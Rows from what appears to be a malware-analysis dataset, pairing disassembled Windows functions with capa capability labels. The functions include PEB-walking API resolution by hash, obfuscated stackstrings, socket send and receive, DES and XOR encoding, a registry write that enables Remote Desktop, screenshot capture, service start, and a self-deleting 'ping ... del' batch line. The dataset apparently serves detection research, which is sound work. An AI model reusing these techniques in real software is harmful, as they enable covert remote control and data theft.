joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4afdd0
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xfffffdfc
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xac], 0
je 0x4afe3b
cmp byte [ebx + 0xd3], 0
jne 0x4afe3b
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x170]
push eax
call sub.user32.dll_GetWindowTextW
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00406abc
mov eax, dword [esi]
mov dword [esp + 0x200], eax
mov eax, dword [esp + 0x200]
test eax, eax
je 0x4afe28
sub eax, 4
mov eax, dword [eax]
test eax, eax
jne 0x4afe48
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00406d14
jmp 0x4afe48
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00406d14
add esp, 0x204
pop esi
pop ebx
ret

Function at 0x4b1610
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x4b167e
mov eax, esi
call fcn.0047509c
test al, al
je 0x4b167e
mov eax, dword [ebx + 0x84]
call fcn.00474cf0
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x4b167e
mov eax, dword [ebx + 0x84]
mov edx, dword [eax]
call dword [edx + 0xfc]
test al, al
je 0x4b1672
push 0
mov eax, dword [ebx + 0x84]
call fcn.00474cf0
push eax
call sub.user32.dll_ShowWindow
xor edx, edx
mov eax, dword [ebx + 0x84]
call fcn.0046bc6c
jmp 0x4b167e
mov cl, 1
mov edx, dword [ebx + 0x74]
mov eax, ebx
call fcn.004b1448
pop esi
pop ebx
ret
Function at 0x401714
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword fs:[0x30]
push ebx
push esi
push edi
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x14], ecx
mov esi, dword [eax + 0xc]
jmp 0x4017dd
mov edx, dword [esi + 0x18]
xor edi, edi
mov eax, dword [esi + 0x30]
mov ebx, dword [esi + 0x2c]
mov esi, dword [esi]
mov dword [ebp - 4], eax
mov eax, dword [edx + 0x3c]
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], esi
mov eax, dword [eax + edx + 0x78]
mov dword [ebp - 0x10], eax
test eax, eax
je 0x4017dd
shr ebx, 0x10
xor ecx, ecx
test ebx, ebx
je 0x40178f
mov esi, dword [ebp - 4]
movsx edx, byte [esi + ecx]
ror edi, 0xd
cmp byte [esi + ecx], 0x61
mov dword [ebp - 4], edx
jl 0x40177e
mov eax, edx
add eax, 0xffffffe0
add edi, eax
jmp 0x401781
add edi, dword [ebp - 4]
inc ecx
cmp ecx, ebx
jb 0x401765
mov edx, dword [ebp - 8]
mov esi, dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + edx + 0x18]
xor ebx, ebx
mov dword [ebp - 0x18], ecx
mov ecx, dword [eax + edx + 0x20]
add ecx, edx
cmp dword [eax + edx + 0x18], ebx
jbe 0x4017dd
mov esi, dword [ecx]
xor eax, eax
add esi, edx
add ecx, 4
mov dword [ebp - 0x1c], ecx
mov edx, eax
mov cl, byte [esi]
ror edx, 0xd
movsx eax, cl
add edx, eax
inc esi
test cl, cl
jne 0x4017b2
mov esi, dword [ebp - 0xc]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 8]
add eax, edi
cmp eax, dword [ebp - 0x14]
je 0x4017ee
mov ecx, dword [ebp - 0x1c]
inc ebx
cmp ebx, dword [ebp - 0x18]
jb 0x4017a4
cmp dword [esi + 0x18], 0
jne 0x401731
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov esi, dword [ebp - 0x10]
mov eax, dword [esi + edx + 0x24]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
jmp 0x4017e9
Function at 0x40180a
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push esi
mov esi, ecx
mov ecx, 0x726774c
call fcn.00401714
lea ecx, [ebp - 0xc]
mov dword [esi], eax
push ecx
mov dword [ebp - 0xc], 0x72657375
mov dword [ebp - 8], 0x642e3233
mov word [ebp - 4], 0x6c6c
mov byte [ebp - 2], 0
call eax
mov ecx, 0x7568345
call fcn.00401714
mov dword [esi + 4], eax
lea eax, [ebp - 0x18]
push eax
mov dword [ebp - 0x18], 0x5f327377
mov dword [ebp - 0x14], 0x642e3233
mov word [ebp - 0x10], 0x6c6c
mov byte [ebp - 0xe], 0
call dword [esi]
lea eax, [ebp - 0x24]
mov dword [ebp - 0x24], 0x6376736d
push eax
mov dword [ebp - 0x20], 0x642e7472
mov word [ebp - 0x1c], 0x6c6c
mov byte [ebp - 0x1a], 0
call dword [esi]
mov ecx, 0x6b8029
call fcn.00401714
mov ecx, 0xe0df0fea
mov dword [esi + 8], eax
call fcn.00401714
mov ecx, 0x6174a599
mov dword [esi + 0xc], eax
call fcn.00401714
mov ecx, 0x5f38ebc2
mov dword [esi + 0x10], eax
call fcn.00401714
mov ecx, 0xe553a458
mov dword [esi + 0x14], eax
call fcn.00401714
mov ecx, 0x5fc8d902
mov dword [esi + 0x18], eax
call fcn.00401714
mov ecx, 0x614d6e75
mov dword [esi + 0x1c], eax
call fcn.00401714
mov ecx, 0x803428a9
mov dword [esi + 0x20], eax
call fcn.00401714
mov ecx, 0x4d7b1e12
mov dword [esi + 0x24], eax
call fcn.00401714
mov ecx, 0xff13dad9
mov dword [esi + 0x28], eax
call fcn.00401714
mov ecx, 0xed43d9d9
mov dword [esi + 0x2c], eax
call fcn.00401714
mov ecx, 0xed6bdd99
mov dword [esi + 0x34], eax
call fcn.00401714
mov ecx, 0xd0eb608d
mov dword [esi + 0x30], eax
call fcn.00401714
mov ecx, 0x2c74e98
mov dword [esi + 0x38], eax
call fcn.00401714
mov ecx, 0x70f2fa31
mov dword [esi + 0x3c], eax
call fcn.00401714
mov ecx, 0xe449f330
mov dword [esi + 0x40], eax
call fcn.00401714
mov ecx, 0xe4f9f330
mov dword [esi + 0x44], eax
call fcn.00401714
mov dword [esi + 0x48], eax
pop esi
leave
ret
Function at 0x401000
Capabilities:
Set socket configuration

Disassembly:
sub esp, 0x18
push esi
mov esi, dword [esp + 0x24]
cmp esi, 1
push edi
jae 0x401019
pop edi
mov eax, 1
pop esi
add esp, 0x18
ret
mov edi, dword [esp + 0x24]
lea eax, [esp + 0x28]
push 4
push eax
push 8
push 0xffff
push edi
mov dword [esp + 0x3c], 1
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
je 0x401046
pop edi
xor eax, eax
pop esi
add esp, 0x18
ret
lea eax, [esi + esi*4]
xor ecx, ecx
xor edx, edx
mov dword [esp + 0xc], ecx
lea eax, [eax + eax*4]
mov dword [esp + 0x18], edx
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], ecx
lea eax, [eax + eax*4]
push edx
lea ecx, [esp + 0x28]
mov dword [esp + 0x20], edx
shl eax, 3
push edx
push ecx
lea edx, [esp + 0x20]
mov dword [esp + 0x18], eax
push 0xc
push edx
lea eax, [esp + 0x1c]
push 0xc
push eax
push 0x98000004
push edi
mov dword [esp + 0x2c], 1
mov dword [esp + 0x34], 0x3e8
call dword [sym.imp.WS2_32.dll_WSAIoctl]
neg eax
sbb eax, eax
pop edi
inc eax
pop esi
add esp, 0x18
ret

Function at 0x4010b0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0x14]
push esi
mov esi, dword [esp + 0x14]
xor ebx, ebx
push edi
mov edi, ebp
test ebp, ebp
jle 0x4010ef
mov eax, dword [esp + 0x14]
push 0
push edi
push esi
push eax
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
je 0x4010e8
cmp eax, 0xffffffff
je 0x4010e8
add ebx, eax
add esi, eax
sub edi, eax
cmp ebx, ebp
jge 0x4010ef
jmp 0x4010c4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret

Function at 0x401100
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0x14]
push esi
mov esi, dword [esp + 0x14]
xor ebx, ebx
push edi
mov edi, ebp
test ebp, ebp
jle 0x40113f
mov eax, dword [esp + 0x14]
push 0
push edi
push esi
push eax
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x401138
cmp eax, 0xffffffff
je 0x401138
add ebx, eax
add esi, eax
sub edi, eax
cmp ebx, ebp
jge 0x40113f
jmp 0x401114
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret
Function at 0x401390
Capabilities:
Encrypt data using des

Disassembly:
mov eax, dword [esp + 8]
push ebx
push ebp
push esi
push edi
push 0x40
push eax
push 0x410184
call fcn.004016d0
push 0x40
push 0x40b240
push 0x410184
push 0x410184
call fcn.004015f0
mov al, byte [esp + 0x3c]
add esp, 0x1c
test al, al
jne 0x40141b
mov ebx, dword [esp + 0x1c]
mov ebp, 0x10
mov eax, dword [0x40f014]
mov ecx, 8
mov esi, eax
mov edi, 0x410204
push ebx
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.00401530
mov ecx, dword [0x40f010]
mov edx, dword [0x40f014]
push 0x20
push ecx
push edx
call fcn.00401640
mov edi, dword [0x40f010]
add esp, 0x14
mov ecx, 8
mov esi, 0x410204
add ebx, 0x30
dec ebp
rep movsd dword es:[edi], dword [esi]
jne 0x4013cf
jmp 0x401474
mov eax, dword [esp + 0x1c]
mov ebp, 0x10
lea ebx, [eax + 0x2d0]
mov eax, dword [0x40f010]
mov ecx, 8
mov esi, eax
mov edi, 0x410204
push ebx
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.00401530
mov ecx, dword [0x40f014]
mov edx, dword [0x40f010]
push 0x20
push ecx
push edx
call fcn.00401640
mov edi, dword [0x40f014]
add esp, 0x14
mov ecx, 8
mov esi, 0x410204
sub ebx, 0x30
dec ebp
rep movsd dword es:[edi], dword [esi]
jne 0x40142a
push 0x40
push 0x40b280
push 0x410184
push 0x410184
call fcn.004015f0
mov eax, dword [esp + 0x24]
push 0x40
push 0x410184
push eax
call fcn.00401710
add esp, 0x1c
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x4014b0
Capabilities:
Encrypt data using des

Disassembly:
mov eax, dword [esp + 8]
push esi
push edi
push 0x40
push eax
push 0x410224
call fcn.004016d0
push 0x38
push str.91__
push 0x410224
push 0x410224
call fcn.004015f0
mov edi, dword [esp + 0x28]
add esp, 0x1c
xor esi, esi
movsx ecx, byte [esi + 0x40b378]
mov edx, dword [0x40f018]
push ecx
push 0x1c
push edx
call fcn.00401670
movsx eax, byte [esi + 0x40b378]
mov ecx, dword [0x40f01c]
push eax
push 0x1c
push ecx
call fcn.00401670
push 0x30
push 0x40b348
push 0x410224
push edi
call fcn.004015f0
add esp, 0x28
inc esi
add edi, 0x30
cmp esi, 0x10
jl 0x4014e2
pop edi
pop esi
ret

Function at 0x401530
Capabilities:
Encrypt data using des

Disassembly:
push esi
mov esi, dword [esp + 8]
push 0x30
push 0x40b2c0
push esi
push 0x4101c4
call fcn.004015f0
mov eax, dword [esp + 0x1c]
push 0x30
push eax
push 0x4101c4
call fcn.00401640
push 0x4101c4
push esi
call fcn.00401580
push 0x20
push 0x40b2f0
push esi
push esi
call fcn.004015f0
add esp, 0x34
pop esi
ret

Function at 0x401640
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [esp + 0x10]
test esi, esi
jle 0x401662
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0xc]
push ebx
sub ecx, eax
mov dl, byte [ecx + eax]
mov bl, byte [eax]
xor bl, dl
mov byte [eax], bl
inc eax
dec esi
jne 0x401654
pop ebx
pop esi
ret

Function at 0x402e10
Capabilities:
Resolve dns

Disassembly:
push esi
mov esi, dword [esp + 8]
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
test eax, eax
jge 0x402e34
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x402e2d
pop esi
ret
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov eax, dword [ecx]
pop esi
ret
Function at 0x403120
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push ebx
push ebp
push esi
xor ebp, ebp
push edi
push ebp
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [esp + 0x10]
push eax
push esi
mov dword [esp + 0x18], 0x128
call sub.KERNEL32.dll_Process32First
mov edi, dword [esp + 0x13c]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
lea ecx, [esp + 0x34]
push edi
push ecx
call ebx
test eax, eax
je 0x40317d
lea edx, [esp + 0x10]
push edx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x403181
lea eax, [esp + 0x34]
push edi
push eax
call ebx
test eax, eax
jne 0x403162
mov ebp, dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x128
ret
Function at 0x404270
Capabilities:
Get common file path

Disassembly:
sub esp, 0x104
lea eax, [esp]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0xff
call fcn.00401760
lea ecx, [eax + eax*8]
lea ecx, [eax + ecx*4]
lea ecx, [ecx + ecx*2]
lea edx, [ecx + ecx*4]
mov ecx, dword [esp + 0x110]
push ecx
lea eax, [eax + edx*2]
lea edx, [esp + 8]
push eax
mov eax, dword [esp + 0x114]
push edx
push str._s_d._s
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x11c
ret

Function at 0x4042d0
Capabilities:
Parse pe header
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 8
push esi
push 0x40febc
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
jne 0x4042f2
pop esi
add esp, 8
ret
push ebx
push edi
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
push 0
push 0
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea ecx, [esp + 0x2c]
push 2
push ecx
call ebx
add esp, 0x1c
cmp word [esp + 0x18], 0x5a4d
jne 0x40436e
push 0
push 0x3c
push esi
call edi
push esi
push 1
lea edx, [esp + 0x20]
push 4
push edx
call ebx
mov eax, dword [esp + 0x28]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x40]
push 4
push ecx
call ebx
mov eax, dword [esp + 0x48]
add esp, 0x38
xor edx, edx
cmp eax, 0x4550
sete dl
push esi
mov edi, edx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov eax, edi
pop edi
pop ebx
pop esi
add esp, 8
ret
push esi
xor edi, edi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov eax, edi
pop edi
pop ebx
pop esi
add esp, 8
ret

Function at 0x404390
Capabilities:
Create process on windows
Create process suspended

Disassembly:
sub esp, 0x54
push edi
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x14]
rep stosd dword es:[edi], eax
lea eax, [esp + 4]
lea ecx, [esp + 0x14]
mov edx, dword [esp + 0x5c]
push eax
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push edx
mov dword [esp + 0x3c], 0x44
mov dword [esp + 0x68], 4
mov word [esp + 0x6c], 5
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
pop edi
je 0x4043f6
mov eax, dword [esp]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
mov ecx, dword [esp + 8]
push ecx
call esi
pop esi
add esp, 0x54
ret

Function at 0x404400
Capabilities:
Create thread
Initialize winsock library

Disassembly:
sub esp, 0x190
lea eax, [esp]
push ebx
push ebp
push esi
push edi
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
mov ebx, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
push 0x403280
push 0
push 0
call edi
mov esi, eax
push 0xffffffffffffffff
push esi
call ebx
push esi
call ebp
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40442c
Function at 0x404460
Capabilities:
Set registry value

Disassembly:
sub esp, 8
lea eax, [esp]
push eax
push str.SYSTEMCurrentControlSetControlTerminal_Server
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov edx, dword [esp]
lea ecx, [esp + 4]
push 4
push ecx
push 4
push 0
push str.fDenyTSConnections
push edx
mov dword [esp + 0x1c], 0
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add esp, 8
ret
Function at 0x4053f0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x104
push ebp
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, str.ChongTxt
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0xc]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0xf], 0
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0xc]
and ecx, 3
push 0x40ffd0
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x405480
push esi
push 0x410990
call dword [sym.imp.MSVCRT.dll_fputs]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0xc
pop edi
pop esi
pop ebp
add esp, 0x104
ret
Function at 0x405810
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x608
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x10d]
mov byte [esp + 0x10c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x10c]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 9]
mov byte [esp + 8], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 8]
push 0x410054
push ecx
stosb byte es:[edi], al
call fcn.00404270
lea edx, [esp + 0x10]
push 0x40ffd0
push edx
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x221]
mov byte [esp + 0x220], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x11c]
lea ecx, [esp + 0x220]
push eax
push str.ping_www.baidu.com_r_ndel___s_
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
lea edx, [esp + 0x22c]
push esi
push edx
call dword [sym.imp.MSVCRT.dll_fputs]
add esp, 0x24
test esi, esi
je 0x4058d4
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
lea eax, [esp + 8]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
pop edi
xor eax, eax
pop esi
add esp, 0x608
ret
Function at 0x4058f0
Capabilities:
Copy file
Start service
Terminate process

Disassembly:
sub esp, 0x72c
push ebx
push esi
push edi
lea ecx, [esp + 0x14]
call fcn.004011f0
xor ebx, ebx
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
mov byte [esp + 0xc], 0x44
mov byte [esp + 0xd], 0x65
mov byte [esp + 0xe], 0x6e
mov byte [esp + 0xf], 0x67
mov byte [esp + 0x10], bl
push 1
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x10]
push ecx
push eax
push 0x6ac
lea ecx, [esp + 0x9c]
push 0x40f648
push ecx
lea ecx, [esp + 0x2c]
call fcn.00401230
mov ecx, 0x1ab
lea esi, [esp + 0x8c]
mov edi, 0x40f648
rep movsd dword es:[edi], dword [esi]
call fcn.004054e0
call fcn.00404fe0
test eax, eax
jne 0x405a4e
call fcn.004053f0
call fcn.00405080
push ebx
push 0x410b98
push 0x410990
call dword [sym.imp.KERNEL32.dll_CopyFileA]
cmp dword [0x40fccc], ebx
je 0x405a27
mov edx, 0x410b98
test edx, edx
je 0x405a27
push 0x410058
push edx
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
cmp esi, ebx
je 0x405a27
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x29]
mov byte [esp + 0x28], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x80
stosb byte es:[edi], al
call fcn.00401760
mov dl, al
mov ecx, 0x18
mov dh, dl
lea edi, [esp + 0x2c]
mov eax, edx
push 0xff
shl eax, 0x10
mov ax, dx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.00401760
add esp, 8
shl eax, 0xa
je 0x405a1d
push ebp
mov ebp, dword [sym.imp.MSVCRT.dll_fputs]
mov edi, eax
lea eax, [esp + 0x2c]
push esi
push eax
call ebp
add esp, 8
dec edi
jne 0x405a0e
pop ebp
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov ecx, dword [0x410da0]
push ebx
push ebx
push ecx
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
je 0x405a47
mov edx, dword [0x410da0]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea eax, [esp + 0x18]
mov dword [esp + 0x18], 0x40f754
push eax
mov dword [esp + 0x20], 0x405300
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
lea ecx, [esp + 0x14]
call fcn.00401220
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x72c
ret 0x10

Function at 0x405c30
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
mov esi, ecx
call fcn.00405ca0
mov ecx, dword [esi + 0xc]
mov eax, dword [esp + 0xc]
shr ecx, 2
test eax, eax
jne 0x405c61
test ecx, ecx
jle 0x405c96
mov edx, dword [esi + 4]
mov edi, dword [esi + 8]
mov edx, dword [edx + eax*4]
mov dword [edi + eax*4], edx
inc eax
cmp eax, ecx
jl 0x405c4b
pop edi
pop esi
ret 4
jbe 0x405c96
xor eax, eax
test ecx, ecx
jle 0x405c96
push ebx
mov edx, dword [esi + 4]
mov edi, dword [esi + 8]
mov edi, dword [edi + eax*4]
mov ebx, dword [edx + eax*4]
lea edx, [edx + eax*4]
xor ebx, edi
mov dword [edx], ebx
mov edx, dword [esi + 8]
mov edi, dword [esi + 4]
mov ebx, dword [edx + eax*4]
lea edx, [edx + eax*4]
mov edi, dword [edi + eax*4]
xor ebx, edi
inc eax
cmp eax, ecx
mov dword [edx], ebx
jl 0x405c6a
pop ebx
pop edi
pop esi
ret 4
Function at 0x405ca0
Capabilities:
Capture screenshot

Disassembly:
sub esp, 0x30
push ebx
push ebp
push esi
push edi
xor edi, edi
mov ebx, ecx
push edi
push edi
push edi
push str.DISPLAY
call dword [sym.imp.GDI32.dll_CreateDCA]
mov ebp, eax
push ebp
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov ecx, dword [ebx + 0x14]
mov esi, eax
mov eax, dword [ebx + 0x18]
mov dword [esp + 0x14], esi
push eax
push ecx
push ebp
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
push eax
push esi
mov dword [esp + 0x18], eax
call dword [sym.imp.GDI32.dll_SelectObject]
mov edx, dword [ebx + 0x18]
mov eax, dword [ebx + 0x14]
push 0xcc0020
push edi
push edi
push ebp
push edx
push eax
push edi
push edi
push esi
call dword [sym.imp.GDI32.dll_BitBlt]
mov ax, word [ebx + 0x1c]
mov ecx, dword [ebx + 0x14]
mov edx, dword [ebx + 0x18]
mov word [esp + 0x26], ax
mov eax, dword [ebx + 4]
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x28], edi
mov dword [esp + 0x2c], edi
mov dword [esp + 0x30], edi
mov dword [esp + 0x34], edi
mov dword [esp + 0x38], edi
mov dword [esp + 0x3c], edi
mov ecx, 0xa
lea esi, [esp + 0x18]
mov edi, eax
mov dword [esp + 0x18], 0x28
mov dword [esp + 0x20], edx
mov word [esp + 0x24], 1
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebx + 0x10]
mov edx, dword [ebx + 0x18]
mov edi, dword [esp + 0x10]
push 0
mov esi, dword [esp + 0x18]
push eax
add ecx, dword [ebx + 4]
push ecx
push edx
push 0
push edi
push esi
call dword [sym.imp.GDI32.dll_GetDIBits]
push esi
mov esi, dword [sym.imp.GDI32.dll_DeleteDC]
call esi
push ebp
call esi
push edi
call dword [sym.imp.GDI32.dll_DeleteObject]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x30
ret
Function at 0x405fd0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x449144]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x10], ecx
cmp dword [ebp + 0x10], 0
jg 0x405ffa
jl 0x405ff1
cmp dword [ebp + 0xc], 0
ja 0x405ffa
xor eax, eax
xor edx, edx
jmp 0x40613b
mov eax, dword [ebp - 0x10]
cmp dword [eax + 0x38], 0
je 0x40601c
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x10]
call fcn.00406150
jmp 0x40613b
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 8], ecx
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x10]
call fcn.00403ad0
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jbe 0x40608b
lea ecx, [ebp - 0xc]
push ecx
lea edx, [ebp - 8]
push edx
call fcn.00401ba0
add esp, 8
mov eax, dword [eax]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
push ecx
mov ecx, dword [ebp - 0x10]
call fcn.00404e00
push eax
mov edx, dword [ebp + 8]
push edx
call fcn.00404850
add esp, 0xc
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x14]
mov dword [ebp + 8], eax
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp - 0x14]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x14]
push edx
mov ecx, dword [ebp - 0x10]
call fcn.00404d10
mov eax, dword [ebp - 0x10]
cmp dword [eax + 0x4c], 0
je 0x40612c
mov ecx, dword [ebp - 0x10]
call fcn.004040d0
mov dword [ebp - 0x2c], 0xfff
cmp dword [ebp - 8], 0xfff
jbe 0x4060fb
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx + 0x4c]
push edx
push 0xfff
push 1
mov eax, dword [ebp + 8]
push eax
call fcn.00423332
add esp, 0x10
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x18]
mov dword [ebp + 8], ecx
mov edx, dword [ebp - 8]
sub edx, dword [ebp - 0x18]
mov dword [ebp - 8], edx
cmp dword [ebp - 0x18], 0xfff
je 0x4060f9
xor eax, eax
mov ecx, dword [ebp - 0x20]
sub ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x1c]
sbb edx, eax
mov eax, ecx
jmp 0x40613b
jmp 0x4060a7
cmp dword [ebp - 8], 0
jbe 0x40612c
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + 0x4c]
push eax
mov ecx, dword [ebp - 8]
push ecx
push 1
mov edx, dword [ebp + 8]
push edx
call fcn.00423332
add esp, 0x10
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x24]
sub ecx, dword [ebp - 0x28]
mov dword [ebp - 8], ecx
xor edx, edx
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x1c]
sbb ecx, edx
mov edx, ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041d30e
mov esp, ebp
pop ebp
ret 0xc